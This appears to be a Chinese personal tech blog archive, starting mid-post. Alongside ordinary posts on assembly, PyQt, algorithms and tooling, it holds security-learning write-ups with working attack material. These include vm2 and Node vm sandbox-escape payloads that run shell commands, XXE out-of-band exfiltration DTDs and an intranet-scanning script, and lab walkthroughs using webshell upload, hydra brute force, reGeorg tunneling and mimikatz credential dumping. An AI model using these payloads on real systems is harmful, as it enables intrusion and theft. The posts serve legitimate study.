    console.log("has");
  }
  
  proxy.a; //触发get
  "" in proxy; //触发has，这个has是在原型链上定义的

在对象 target 上定义了 get 操作，会拦截对象属性的读取，所以当访问 proxy.a 时，会打印出 get

但是当执行 "" in proxy 时，也会被 has方法拦截，此时，我们虽然没有直接在 target 对象上定义 has 拦截操作，即代理的方法是可以被继承的。

回到vm2逃逸的代码，vm2中实际运行的代码如下：

"use strict";

var process;

Object.prototype.has = function (t, k) {
    process = t.constructor("return process")();
};

"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

Buffer.from 是一个代理对象，vm2的作者一开始并没有给vm2内部的Object 加上 has方法，所以我们可以自己给 Object 对象的原型上添加 has 方法，这时候运行

"" in Buffer.from;

就会去执行我们定义好的has方法，由于 proxy 的机制，参数 t 是 function Buffer.from ，这个function是在外部的，其上下文是 nodejs 的global下，所以访问其 constructor 属性就获取到了外部的 Function，从而拿到外部的 process

而开发者的修复方案：添加上 has 方法

可以看到，没有修复之前，Buffer.from 是没有拦截 has 操作的

而修复之后：

由于 Buffer.from 中已经存在了 has 方法，所以不会去原型链上查找

案例2

代码如下

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
	Object.defineProperty(Buffer.from(""), "", {get set(){
		Object.defineProperty(Object.prototype,"get",{get(){
			throw x=>x.constructor("return process")();
		}});
		return ()=>{};
	}});
}catch(e){
	process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

同样地，需要补充一点js的知识：

js的对象中，存在三种不同的属性：数据属性，访问器属性和内部属性。我们只看数据属性和访问器属性

数据属性和访问器属性都存在 [[Enumerable]] 和 [[Configurable]] 特性

不同点：以下特性属于数据属性：

[[Value]]：该属性的属性值，默认为undefined。
[[Writable]]：是一个布尔值，表示属性值（value）是否可改变（即是否可写），默认为true。

以下特性属于访问器属性

[[Get]]：是一个函数，表示该属性的取值函数（getter），默认为undefined
[[Set]]：是一个函数，表示该属性的存值函数（setter），默认为undefined

var obj = {
    prop: let obj = {
    prop:123,
    Writable: true
}

let jbo = {
    get prop(){
        return "get";
    },
    set prop(val){
        console.log("set"+val);        
    }
}

console.log(obj.prop); //123
console.log(jbo.prop); //get

我们也可以通过 Object.defineProperty 来设置对象的访问器属性

let obj = {};
Object.defineProperty(obj, "prop", {
    get(){
        return "get";
    }
})
console.log(obj.prop);

我们还可以这样写

let obj = {};
Object.defineProperty(obj, "prop", {
    get get(){
        console.log("get1"); //get1
        return ()=>{return "get2"};
    }
})
console.log(obj.prop); //get2

在这种情况下，会先执行 get() 函数，打印 get1，返回一个函数，作为 prop 属性的 getter，之后访问 obj.prop 时，就会打印 get2

get(){
       console.log("get1");
       return ()=>{return "get2"};
   }

同理：

let obj = {};
Object.defineProperty(obj, "prop", {
    get set(){
        console.log("set1");
        return (val)=>{console.log("set2")};
    }
})
obj.prop = 1

此时会先执行一次 set() 函数打印出 set1，同时设置 prop 属性的 setter 为 (val)=>{console.log("set2")} 之后执行 obj.prop = 1 时，就会打印 set2;

那么回过头来看vm2逃逸的代码

var process;
try {
    let a = Buffer.from("")
    Object.defineProperty(a, "", {
        get set() {
            Object.defineProperty(Object.prototype, "get", {
                get: function get() {
                    throw function (x) {
                        return x.constructor("return process")();
                    };
                }
            });
            return ()=>{};
        }

    });
} catch (e) {
    process = e(() => {});
}

执行的过程如下：

参考前文 vm2 实现原理分析，此时得到的a是一个代理对象，当我们在a上定义新属性的时候，被代理的 defineProperty 拦截

检测传入的 descriptor 上是否设置了 get和set，如果是，调用外部的 host.Object.defineProperty 去实现设置对象属性的

但是在执行 descriptor.get 的时候，由于 nodejs是异步的，此时已经执行了

Object.defineProperty(Object.prototype, "get", {
                get: function get() {
                    throw function (x) {
                        return x.constructor("return process")();
                    };
                }
            });

也就是说，descriptor.get 会沿着原型链寻找到 get, 并且抛出异常，throw x=>x.constructor("return process")();

这个抛出的异常，最先被vm2内部捕获到，就是图中的e

vm2 需要将其包装成一个代理对象之后，继续抛出，所以这个异常被我们写的代码捕获到

vm2抛出的异常，被我们的代码捕获到

然后我们将其作为函数来调用，那就会触发这个函数代理对象的 apply 方法

这里的 target 就是 x=>x.constructor('return process')()

context 是函数的上下文代理，通过 Decontextify.value 之后是 underfined

args 是函数的参数代理，其值为 () => {}

真正的函数调用发生在

Contextify.value(fnc.apply(context, Decontextify.arguments(args)));

这里可以做一下拆分

let func_arg = Decontextify.arguments(args);

let fnc_result = fnc.apply(context, func_arg);

let res = Contextify.value(fnc_result);

逻辑上看，先将函数的参数做一次处理，然后通过反射调用函数，再将得到的结果包装成代理

问题出在对函数的参数处理上，此处的函数参数为 () => {} ，是一个函数，并不是代理对象

所以 Decontextify 将其做了一次包装，使之成为一个代理对象

然而问题在于，这个函数的代理对象中的get方法的实现

当访问 constructor 属性的时候，得到的是 host.Function

如图：

这就导致逃溢出沙箱了

网安实验综合

Sun, 24 May 2020 00:00:00 GMT

实验拓扑图

任务1

192.168.1.3 定时登录 192.168.1.4 的ftp服务，通过分析流量包可以发现

使用 ettercap 进行网络嗅探

ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.4/21//

登录ftp服务即可得到 key.txt 内容

同时还发现 192.168.1.4 存在WebLogic 反序列化漏洞，工具包位于 /home/Hack 目录下

读到 key1.txt 内容

任务2

192.168.1.5 运行了 wordpress 站点，访问得到 key2.txt

这居然是wordpress后台的密码。(这里没办法利用wordpress-rce那个脚本)

登录到wordpress后台需要 getshell

这里下载一个 wordpress 的主题，我下载了这个 https://wordpress.org/plugins/simple-shortcode-block/

然后将其中的index.php 修改为一句话木马，通过后台上传，这个时候即getshell

下载 username.txt 即可

任务3

使用hydra 暴力破解 192.168.1.6 的ssh口令，已经知道了口令形式为 hacker***

直接写个脚本生成下

password = "hacker"

a = "0123456789"

f = open("pass.txt", "w")
for i in a:
    for j in a:
        for k in a:
            ppp = password + i + j + k
            f.writelines(ppp)
            f.writelines("\n")

f.close()

爆破出来

hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

登录之后发现有两块网卡

nmap扫描一下

任务4

在 192.168.1.6(centos) 上配置openvpn服务端，在192.168.1.5(windows) 上连接

通过 scp 拷贝文件到 192.168.1.6 上

之后yum install一下

yum localinstall openvpn-2.4.4-1.el7.x86_64.rpm  easy-rsa-2.2.2-1.el5.noarch.rpm  lz4-1.7.5-2.el7.x86_64.rpm pkcs11-helper-1.11-3.el7.x86_64.rpm

然后开始配置vpn

[root@simple openvpn]# cp /usr/share/doc/openvpn-2.4.4/sample/sample-config-files/server.conf /etc/openvpn/
[root@simple openvpn]# cd /etc/openvpn/
[root@simple openvpn]# ls
client  server  server.conf

修改配置文件

生成ca

生成服务端证书

开启openvpn

windows配置文件

->|##############################################
# Sample client-side OpenVPN 2.0 config file #
# for connecting to multi-client server.     #
#                                            #
# This configuration can be used by multiple #
# clients, however each client should have   #
# its own cert and key files.                #
#                                            #
# On Windows, you might want to rename this  #
# file so it has a .ovpn extension           #
##############################################

# Specify that we are a client and that we
# will be pulling certain config file directives
# from the server.
client

# Use the same setting as you are using on
# the server.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun

# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel
# if you have more than one.  On XP SP2,
# you may need to disable the firewall
# for the TAP adapter.
;dev-node MyTap

# Are we connecting to a TCP or
# UDP server?  Use the same setting as
# on the server.
;proto tcp
proto udp

# The hostname/IP and port of the server.
# You can have multiple remote entries
# to load balance between the servers.
remote 192.168.1.6 1194
;remote my-server-2 1194

# Choose a random host from the remote
# list for load-balancing.  Otherwise
# try hosts in the order specified.
;remote-random

# Keep trying indefinitely to resolve the
# host name of the OpenVPN server.  Very useful
# on machines which are not permanently connected
# to the internet such as laptops.
resolv-retry infinite

# Most clients don't need to bind to
# a specific local port number.
nobind

# Downgrade privileges after initialization (non-Windows only)
;user nobody
;group nobody

# Try to preserve some state across restarts.
persist-key
persist-tun

# If you are connecting through an
# HTTP proxy to reach the actual OpenVPN
# server, put the proxy server/IP and
# port number here.  See the man page
# if your proxy server requires
# authentication.
;http-proxy-retry # retry on connection failures
;http-proxy [proxy server] [proxy port #]

# Wireless networks often produce a lot
# of duplicate packets.  Set this flag
# to silence duplicate packet warnings.
;mute-replay-warnings

# SSL/TLS parms.
# See the server config file for more
# description.  It's best to use
# a separate .crt/.key file pair
# for each client.  A single ca
# file can be used for all clients.
ca ca.crt
cert client.crt
key client.key

# Verify server certificate by checking
# that the certicate has the nsCertType
# field set to "server".  This is an
# important precaution to protect against
# a potential attack discussed here:
#  http://openvpn.net/howto.html#mitm
#
# To use this feature, you will need to generate
# your server certificates with the nsCertType
# field set to "server".  The build-key-server
# script in the easy-rsa folder will do this.
;ns-cert-type server

# If a tls-auth key is used on the server
# then every client must also have the key.
tls-auth ta.key 1

# Select a cryptographic cipher.
# If the cipher option is used on the server
# then you must also specify it here.
cipher AES-256-CBC

# Enable compression on the VPN link.
# Don't enable this unless it is also
# enabled in the server config file.
;comp-lzo

# Set log file verbosity.
verb 3

# Silence repeating messages
mute 20

连接报错，

google 知道是时间不同步，手动修改Windows时间正常连接

权限不够

管理员身份打开命令行，cd到配置文件目录下，输入 openvpn 配置文件名即可

无法ping 通

需要修改服务端配置文件

成功连接后可以访问到 192.168.2.3

弱口令登录 phpmyadmin，得到后台密码 1q2w3e4r

将工具拷贝到 192.168.1.5 中

getshell

最后得到key

XXE漏洞分析及实战

Sun, 10 May 2020 00:00:00 GMT

XXE漏洞分析及实战

常用payload分析

好像大家都用这个测试代码

<?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

使用XML发送数据：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>

但是我在尝试参数实体的时候似乎不能外带数据

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>

嵌套也是不行的

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///flag.txt">  
	<!ENTITY % start "<!ENTITY &x25; send SYSTEM 'http://localhost:8887/?%file;'>">
	%start;
	%send;
]>

最常用的外带数据的方法：

在自己的vps上准备两个文件，我这里就就都在本机做的实验

本地的8001端口开一个web服务，

local.xml 文件内容：

<!ENTITY % start "<!ENTITY &x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;

这个文件表示读取到数据之后发送给另一个8887端口，然后我们向受害者服务器发送数据，

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">  
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
	%remote;
	%send;
]>
<message>1234</message>

然后就可以在8887端口接收到数据了

换一种 payload 也行

DTD文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &37; send SYSTEM 'http://localhost:8887/p=%file;'>">

发送的 paylod

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

报错XXE

这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		<!ENTITY &x25; para2 "<!ENTITY &x26;x25; error SYSTEM &x27;file:///&x25;para1;&x27;>">
		&x25;para2;
	'>
	%para;
]>
<message>10</message>

XXE探测内网



Origtional XML that the server accepts

<xml>

    <stuff>user</stuff>

</xml>



def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2]  a little split to get only the base64 encoded value
    print coded_string
   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue

实例分析

网鼎杯2020 fileJava

用到的漏洞就是 CVE20143529

复现代码








public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>pxyapache</groupId>
    <artifactId>pxypxy</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi-ooxml</artifactId>
            <version>3.10-FINAL</version>
        </dependency>
    </dependencies>

</project>

利用过程：

准备一个excel文件：

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

准备DTD文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &37; send SYSTEM 'http://localhost:8887/p=%file;'>">

会读取文件，然后将其发送到8887端口上

监听得到的flag

参考

YouTube这个视频其实讲的不错：https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S

js沙箱逃逸

Sun, 10 May 2020 00:00:00 GMT

vm沙箱逃逸

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
console.log(xyz);

打印出

welcome

如果换成

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);

结果：

因为 process 是没有定义的

但是我们可以通过这样来获取到系统的环境变量

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

因为 this 指向了一个外部的对象，this.conatructor 指向的就是 Object 对象的 Constructor ，而 object constructor 返回的就是 Function constructor

完成 RCE

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);

企业环境渗透一

Wed, 29 Apr 2020 00:00:00 GMT

任务一后台文件上传

本实验任务基于真实企业网络环境，在三台服务器搭建的典型企业局域网环境中，主要完成以下内容：

1.1 使用目录扫描工具对目标网站的后台地址进行扫描(如wwwscan)

1.2 使用Burpsuite工具爆破后台管理员密码

1.3 使用爆破出的管理员密码登录后台，并上传一句话木马

1.4 使用中国菜刀连接一句话木马

得到后台登陆地址为 manager/login.php

同时发现扫描出了 /myadmin ，猜测是 phpmyadmin

弱口令 root ， root试一下，成功登陆

在数据库中发现了用户名和密码

md5解密：

成功登陆后台，得到 falg1

任务二 sql注入

利用之前扫描目录得到的结果访问到测试的sql，利用SQL注入漏洞获得网站数据库信息
构造SQL注入语句读取webserver配置文件查看网站根目录，写入php一句话木马，获得webshell

访问存在SQL注入漏洞的页面，表的字段为10

尝试联合注入失败

可以直接登陆后台，并修改配置：

然后就可以从后台上传php文件了

成功上传

使用菜刀进行连接

flag

任务三 phpmyadmin 写shell

用之前扫描目录的结果访问phpmyadmin页面，利用弱口令登录到 phpmyadmin 服务中
构造SQL语句读取webserver配置文件查看网站根目录，写入php一句话木马，获得webshell

弱口令登录 phpmyadmin，访问到flag表得到flag

任务四扫描PC端并登陆

利用已经获取到权限的web机器，上传扫描脚本对内网中的其他主机进行扫描
利用web代理工具代理访问内网的主机，使用之前数据库中获得的账号密码进行登录

上传 RAScan.py，扫描

扫描结果

可以看到 192.168.2.11 和 192.168.2.10 都开放了3389端口

上传 tunnel.nosocket.php，访问：

然后使用 reGeorgSocksProxy.py 开启代理

打开 Proxifier，新建连接

然后设置规则：

远程登陆 192.168.2.11

回过头来看数据库，密码是 topsec.123

成功连接

flag在C盘根目录

任务五抓取域控密码并登陆域控

利用已经登陆到远程桌面的机器，上传mimikatz工具抓取机器内存中的密码
利用抓取到的密码登陆到另一台机器2.10中

上传 mimikatz 到 192.168.2.11 的桌面

以管理员身份运行，输入

privilege::debug
sekurlsa::logonpasswords

得到密码

远程登陆 192.168.2.10

flag在C盘根目录

汇编从入门到入土八

Wed, 29 Apr 2020 00:00:00 GMT

中断处理的流程(牢记)

关于第三步

为什么要设置第8位 TF？

这就涉及到debug程序的原理：

debug的原理，通过设置 TF 为1，引发单步中断去执行debug准备好的中断代码

但是这样会有问题，在处理中断的时候是不能去触发单步中断的，所以CPU要提前设置TF为0

中断过程具体的操作

lab12

代码如下：

assume cs:code
code segment
start:
    mov ax,cs
    mov ds,ax
    mov si,offset do0
    
    mov ax,0
    mov es,ax
    mov di,200H
    
    mov cx,offset do0end-offset do0
    
    rep movsb
    
    mov ax,0
    mov es,ax
    mov word ptr es:[0],200H
    mov word ptr es:[2],0

    mov ax, 1000h
    mov bh, 1
    div bh
    mov ax,4C00H
    int 21H
		
do0:
    jmp short do0start
    db "divide error!"
do0start:
    mov ax,cs
    mov ds,ax
    mov si,202H
    mov ax,0B800H
    mov es,ax
    mov di,12*160+33*2;这里要注意一下，不能因为字符串长度为13，为了居中输出就设置成12*160+67，会出现意想不到的情况
    mov cx,13
    s:
    mov al,[si]
    mov es:[di],al
    inc si
    add di,2
    loop s
    mov ax,4C00H
    int 21H
do0end:nop
code ends
end start

通过 offset 获得偏移地址

通过 rep movsb 来拷贝 do0 程序

这里特别注意，do0 要使用的字符串必须存储在 do0 子程序中，并且需要手动计算一下字符串的位置

当然最后还需要来触发这个中断

mov ax, 1000h
mov bh, 1
div bh

如果直接存放原来data中的位置

assume cs:code

data segment
db "overflow!"
data ends

code segment
start:
    mov ax,cs
    mov ds,ax
    mov si,offset do0
    
    mov ax,0
    mov es,ax
    mov di,200H
    
    mov cx,offset do0end-offset do0
    
    rep movsb
    
    mov ax,0
    mov es,ax
    mov word ptr es:[0],200H
    mov word ptr es:[2],0

    mov ax, 1000h
    mov bh, 1
    div bh
    mov ax,4C00H
    int 21H
		
do0:
    mov ax,data
    mov ds,ax
    mov si,0
    mov ax,0B800H
    mov es,ax
    mov di,12*160+33*2
    mov cx,13
    s:
    mov al,[si]
    mov es:[di],al
    inc si
    add di,2
    loop s
    mov ax,4C00H
    int 21H
do0end:nop
code ends
end start

也是可以执行的

pyqt入门

Fri, 24 Apr 2020 00:00:00 GMT

编写一个简单地GUI应用如下

拖动进度条，下面两个框框会显示不同的数据

输入姓名，点击设置姓名，下面的框框回回显数据

点击关闭按钮关闭窗口

GUI设计

妥妥拽拽即可

两个 groupbox 布局可以通过

进行设置

信号和槽

关闭按钮的信号直接通过拖动即可关联

自定义信号



from PyQt5.QtCore import QObject,pyqtSlot,pyqtSignal

class human(QObject):
    nameChanged = pyqtSignal(str)
    ageChanged = pyqtSignal([int], [str])
    
    def __init__(self, name="Mike", age=10,parent=None):
        super().__init__(parent)
        
    def setAge(self, age):
        self._age = age
        self.ageChanged.emit(self._age)
        if age<=18:
            ageInfo="你是 少年"
        elif (18< age <=35):
            ageInfo="你是 年轻人"
        elif (35< age <=55):
            ageInfo="你是 中年人"
        elif (55< age <=80):
            ageInfo="您是 老人"
        else:
            ageInfo="您是 寿星啊"
        self.ageChanged[str].emit(ageInfo)
        
    def setName(self, name):
        self._name = name
        self.nameChanged.emit(self._name)

自定义两个信号 nameChanged 和 ageChanged

自定义槽函数

class MyWidget(QWidget):
    def __init__(self,parent=None):
        super().__init__(parent=parent)
        
        self._ui = Ui_Widget()
        self._ui.setupUi(self)
        self.body = human("Mike", 20)
        
        self.body.nameChanged.connect(self.do_nameChanged)
        self.body.ageChanged.connect(self.do_ageChanged_int)
        self.body.ageChanged[str].connect(self.do_ageChanged_str)
    def on_horizontalSlider_valueChanged(self,value):
        self.body.setAge(value)
        pass
    
    def on_pushButton_clicked(self):
        '''
        当按钮点击时候自动触发该槽函数
        从输入框中获取到输入的姓名，接着调用body的setName方法，setName方法会放出一个信号，由于之前设置的连接，直接触发do_nameChanged槽函数
        '''    
        hisName = self._ui.lineEdit_5.text()
        self.body.setName(hisName)
        pass
    # 自定义的槽函数
    def do_nameChanged(self,name):
        self._ui.editNameHello.setText("Hello"+name)
        pass
    
    def do_ageChanged_int(self,age):
        self._ui.editAgeStr.setText(str(age))
        pass
    
    @pyqtSlot(str)
    def do_ageChanged_str(self,ageInfo):
        self._ui.editAgeInt.setText(ageInfo)
        pass

python实现KMP算法

Wed, 22 Apr 2020 00:00:00 GMT

学习完KMP算法才发现编程如此的奇妙

求next数组

def getNext(s):
    '''
    计算字符串的next数组
    '''
    length = len(s)
    next = [0 for i in range(length)]
    next[0] = -1
    k = -1
    j = 0
    while j < length-1:
        # 这个 or 逻辑写的np
        if k == -1 or s[j] == s[k]:
            j += 1
            k += 1
            next[j] = k
        else:
            k = next[k]
    return next

从这张图可以看到整个的匹配过程，如果 $p_{k}$ 和 $p_{j}$ 匹配不上，那么就去看 $p_{next[k]}$ 和 $p_{j}$

比如

p = "ABCDABD"

得到的结果就是

[-1, 0, 0, 0, 0, 1, 2]

细节感觉还是要靠自己体会

KMP算法

def KMP(s,p):
    next = getNext(p)

    m,n = 0,0
    while m < len(s) and n < len(p):
        if n == -1 or p[n] == s[m]:
            n += 1
            m += 1

        else:
            n = next[n]
    if n == len(p):
        return True
    else:
        return False

从头开始匹配即可，遇到匹配不上的情况就返回到 next[k]

参考

https://blog.csdn.net/v_JULY_v/article/details/7041827

go相关笔记

Tue, 21 Apr 2020 00:00:00 GMT

go相关命令

go env

go env -w GOPROXY=https://goproxy.io,direct
# Set environment variable allow bypassing the proxy for selected modules
go env -w GOPRIVATE=*.corp.example.com
go env -w GO111MODULE=on

js学习笔记

Tue, 21 Apr 2020 00:00:00 GMT

Object对象

静态方法

Object.keys()，Object.getOwnPropertyNames()

可以用来遍历对象的属性

var obj1 = {
    "name":"pxy",
    "age":12
}
//undefined
Object.getOwnPropertyNames(obj1)

//(2) ["name", "age"]

实例方法

Object.protype上定义的方法就是实例方法，能够被Object的实例调用

Object.getOwnPropertyNames(Object.prototype)

(12) ["constructor", "__defineGetter__", "__defineSetter__", "hasOwnProperty", "__lookupGetter__", "__lookupSetter__", "isPrototypeOf", "propertyIsEnumerable", "toString", "valueOf", "__proto__", "toLocaleString"]
0: "constructor"
1: "__defineGetter__"
2: "__defineSetter__"
3: "hasOwnProperty"
4: "__lookupGetter__"
5: "__lookupSetter__"
6: "isPrototypeOf"
7: "propertyIsEnumerable"
8: "toString"
9: "valueOf"
10: "__proto__"
11: "toLocaleString"
length: 12
__proto__: Array(0)

这些方法是所有对象都公有的

valueOf

valueOf方法的作用是返回一个对象的“值”，默认情况下返回对象本身。

var obj = new Object();
obj.valueOf() === obj // true

但是这种情况除外：

var a = new Object(1)
a.valueOf() === a // false

valueOf方法的主要用途是，JavaScript 自动类型转换时会默认调用这个方法

var obj = new Object();
1 + obj 
//"1[object Object]"

可以重写 valueOf 方法

obj.valueOf = function(){
    return 2;
}
1+obj
//3

这个很好理解，因为obj查找 valueOf 函数，会先从自己的属性开始找，找不到就通过 __proto__ 找上层对象的valueOf 属性

编码风格

switch case 结构

不推荐如下的方式

function doAction(action) {
  switch (action) {
    case 'hack':
      return 'hack';
    case 'slash':
      return 'slash';
    case 'run':
      return 'run';
    default:
      throw new Error('Invalid action.');
  }
}

推荐使用对象的方式

function doAction(action) {
  var actions = {
    'hack': function () {
      return 'hack';
    },
    'slash': function () {
      return 'slash';
    },
    'run': function () {
      return 'run';
    }
  };

  if (typeof actions[action] !== 'function') {
    throw new Error('Invalid action.');
  }

  return actions[action]();
}

更加简洁

每天一道leetcode-560和为k的子数组

Tue, 21 Apr 2020 00:00:00 GMT

给定一个整数数组和一个整数 k，你需要找到该数组中和为 k 的连续的子数组的个数。

示例 1 :

输入:nums = [1,1,1], k = 2
输出: 2 , [1,1] 与 [1,1] 为两种不同的情况。

法一——暴力

两重循环，对每一个数字，从它开始往后，不断地累加，然后和k进行对比，这应该是最简单的想法了，但是我做这种题还是有点晕

def subarraySum(nums, k):
    length = len(nums)
    count = 0
    for i in range(length):
        sum = 0
        for j in range(i, length):
            sum += nums[j]
            if sum == k:
                count += 1
            
    return count

法二——hashtables

思路就是不断地求和，然后判断 cur_sum - k 是否已经计算过了

将前缀和放入哈希表，哈希表的设计为：key是前缀和，value是前缀和出现的次数。
如果当前要存入的前缀和sum，使得(sum - k)也在哈希表中时，则使用count累加哈希表中(sum - k)出现的次数，然后再将该sum放入哈希表中。这里的count与sum的添加次序不能调换，主要是为了处理k为0的情况。

def subarraySum(self, nums, k):
    result, cur_sum = 0, 0
    sum_dict = {0:1}
    for num in nums:
        cur_sum += num
        if cur_sum - k in sum_dict:
            result += sum_dict[cur_sum - k]
        sum_dict[cur_sum] = sum_dict.get(cur_sum, 0) + 1
    return result

go实现的代码

func subarraySum(nums []int, k int) int {
    count := 0
    sumMap := map[int]int{0:1,}
    sum := 0
    for _, num := range nums {
        sum += num
        if sumMap[sum - k] > 0 {
            count += sumMap[sum - k]
        }
        sumMap[sum]++
    }

    return count
}

汇编从入门到入土七

Tue, 21 Apr 2020 00:00:00 GMT

sub al,al ZF=1,PF=1,SF
mov al,1  ZF=0,PF=0,SF
push ax
pop bx
add al,bl 
add al,10
mul al

实验十

打印字符

这里的重点是不知道字符串的长度，但是知道字符串十以0结尾的，所以利用 cx = 0 jcxz 会跳转，不断地置ch=0，当取到的字符cl=0时即可跳转

assume cs:code

data segment
    db 'Welcome to masm!', 0
data ends

code segment

start:
    mov dh,8 ;dh表示行号
    mov dl,3 ;dl表示列号
    mov cl,2 ;cl表示颜色
    mov ax,data
    mov ds,ax
    mov si,0 ;字符串开始的位置

    call show_str
    mov ax,4c00h
    int 21h

show_str:

    mov ax,0b800h
    mov es,ax ;显存段

    mov di,0
    mov ax, 160
    mul dh
    add di,ax 

    mov al,2
    mul dl
    add di,ax ;计算开始的位置

    mov bl,cl ;保存颜色，因为cx要用来计数

s:
    mov cl, ds:[si] ;取出字符
    mov ch,0 ;当cl=0的时候,cx也等于0，此时执行jcxz
    jcxz ok
    mov es:[di], cl
    mov es:[di+1], bl
    add di,2
    inc si
    loop s
ok: ret

code ends
end start

进制转换

assume cs:code

data segment
    db 10 dup(0)
data ends

code segment

start:
    mov ax,12666
    mov bx,data
    mov ds,bx

    mov si,0

    call dtoc
    mov dh,8
    mov dl,3
    mov cl,2
    call show_str

    mov ax,4c00h
    int 21h
dtoc: mov si,9        
   s0: mov cx,10
       mov dx,00 ;dx存放余数
       div cx
       add dx,30H       
       mov [si],dl

       mov cx,ax ;判断商是否为0
       jcxz rt        

       dec si
       inc cx  ;防止cx=1的时候意外退出循环
       loop s0
rt: ret

show_str:

    mov ax,0b800h
    mov es,ax ;显存段

    mov di,0
    mov ax, 160
    mul dh
    add di,ax 

    mov al,2
    mul dl
    add di,ax ;计算开始的位置

    mov bl,cl ;保存颜色，因为cx要用来计数

s:
    mov cl, ds:[si] ;取出字符
    mov ch,0 ;当cl=0的时候,cx也等于0，此时执行jcxz
    jcxz ok
    mov es:[di], cl
    mov es:[di+1], bl
    add di,2
    inc si
    loop s
ok: ret

code ends
end start

sqlite数据库笔记

Mon, 20 Apr 2020 00:00:00 GMT

基本操作

.quit 退出

.tables 列出所有的表

.schema 查看构建表的sql语句

.database 查看数据库

创建数据库

只需要 sqlite 加上数据库名即可

创建表

CREATE TABLE user(
ID INT NOT NULL PRIMARY KEY,
name TEXT ,
age TEXT,
password TEXT);

sqlite不支持修改表已经存在的字段，只能把原有的表重命名一下再创建一个

alter table user rename to `user_123`;

如果主键要求自动递增

CREATE TABLE user(
ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
name TEXT,
password TEXT
);

插入数据

insert into user(name,password) values("pxy", '123456');

查询数据

sqlite> select * from user;
1|pxy|123456

ubuntu配置vscode+xdebug

Mon, 20 Apr 2020 00:00:00 GMT

vscode安装

直接去官网下载deb包，然后双击即可完成安装

加两个配置选项

"editor.mouseWheelZoom": true,
"php.validate.executablePath": "/usr/bin/php"

第一个是直接用滚轮缩放大小，并且图标的大小不变，第二个是配置php的路径

之后安装一些插件就不说了

apache环境

直接安装

sudo apt install apache2

然后安装php模块

sudo apt-get install libapache2-mod-php

之后，修改一下html目录的用户和组

chown pxy html/ -R
chgrp pxy html/ -R

xdebug

php -i > a.txt

然后将 a.txt 的内容拷贝到

https://xdebug.org/wizard

自动帮你分析phpinfo的内容(不过现在只支持php7了)

Download xdebug-2.9.4.tgz
Install the pre-requisites for compiling PHP extensions.
On your Ubuntu system, install them with: apt-get install php-dev autoconf automake
Unpack the downloaded file with tar -xvzf xdebug-2.9.4.tgz
Run: cd xdebug-2.9.4

Run: phpize (See the FAQ if you don’t have phpize).

